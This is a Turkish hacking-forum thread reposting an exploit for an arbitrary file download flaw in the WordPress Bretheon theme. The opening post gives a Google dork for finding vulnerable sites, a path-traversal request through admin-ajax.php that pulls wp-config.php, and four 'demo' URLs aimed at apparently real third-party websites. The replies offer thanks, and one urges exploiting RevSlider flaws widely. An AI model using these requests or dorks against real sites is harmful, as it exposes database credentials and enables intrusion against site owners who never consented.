Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: WordPress Bretheon Theme Arbitrary File Download
DaRKNeSS
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 53
Yaşam Puanı: 1,315 / 1,315
Deneyim: 60 / 100
Rep Sayısı: 124
Mesaj Sayısı: 5584
Üyelik Tarihi: 11.08.2013
     
Yorum: #1
WordPress Bretheon Theme Arbitrary File Download
25.01.2015 04:32
# Exploit Title: Wordpress Theme Bretheon Arbitrary File Download Vulnerability

# Date: 17/01/2014

# Exploit Author: MindCracker - Team MaDLeeTs

# Contact : [email protected] - [email protected]| https://twitter.com/MindCrackerKhan

# Tested on: Linux / Window

# Google Dork: inurl:wp-content/themes/bretheon/




# PoC


Kod:
http://target/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

#Demo

Kod:
http://infinitelooXpcorp.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://scottysgXm.com.au/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://vladlogisXtik.ru/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://transinfXXo.nnov.ru/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
(Bu konu en son: 25.01.2015 Tarihinde, Saat: 04:32 düzenlenmiştir. Düzenleyen: DaRKNeSS.)


Alinti
Stallk3r
*
avatar
Albay
Durum: Çevrimdışı
Seviye Puanı: 34
Yaşam Puanı: 718 / 826
Deneyim: 4 / 100
Rep Sayısı: 425
Mesaj Sayısı: 1618
Üyelik Tarihi: 06.11.2013
     
Yorum: #2
Cvp: WordPress Bretheon Theme Arbitrary File Download
25.01.2015 04:51
Ellerine sağlık abim Smile

Dans ederken görülenler deli sanılır, Müziği duymayanlar tarafından.
Alinti
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 55
Yaşam Puanı: 1,373 / 1,373
Deneyim: 92 / 100
Rep Sayısı: 2769
Mesaj Sayısı: 6326
Üyelik Tarihi: 21.08.2013
     
Yorum: #3
Cvp: WordPress Bretheon Theme Arbitrary File Download
25.01.2015 17:07
eline sağlık Smile
bu wp'lerde tüm açıklar rvslider'dan ortaya çıktı - tüm temalara bulaşıcı hastalık gibi yayıldı. tüketmek gerekir hahaa Smile

We don't care what people think about us, we are proud of us, we not gonna change for anyone. I do not have own no website. No Contact. # KingSkrupellos # Cyberizm Digital Security Technological Turkish Moslem Army.



Alinti
Stallk3r
*
avatar
Albay
Durum: Çevrimdışı
Seviye Puanı: 34
Yaşam Puanı: 718 / 826
Deneyim: 4 / 100
Rep Sayısı:
Mesaj Sayısı: 1618
Üyelik Tarihi: 06.11.2013
     
Yorum: #4
RE: WordPress Bretheon Theme Arbitrary File Download
25.01.2015 17:15
(25.01.2015 17:07)KingSkrupellos Nickli Kullanıcıdan Alıntı:  eline sağlık Smile
bu wp'lerde tüm açıklar rvslider'dan ortaya çıktı - tüm temalara bulaşıcı hastalık gibi yayıldı. tüketmek gerekir hahaa Smile

Rvslider çok bug çıkar daha Smile

Dans ederken görülenler deli sanılır, Müziği duymayanlar tarafından.
Alinti
kymk
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 1
Yaşam Puanı: 0 / 21
Deneyim: 86 / 100
Rep Sayısı: 0
Mesaj Sayısı: 9
Üyelik Tarihi: 25.01.2015
     
Yorum: #5
Cvp: WordPress Bretheon Theme Arbitrary File Download
25.01.2015 18:53
guzelmıs hocam tesekkurler
Alinti



1 Ziyaretçi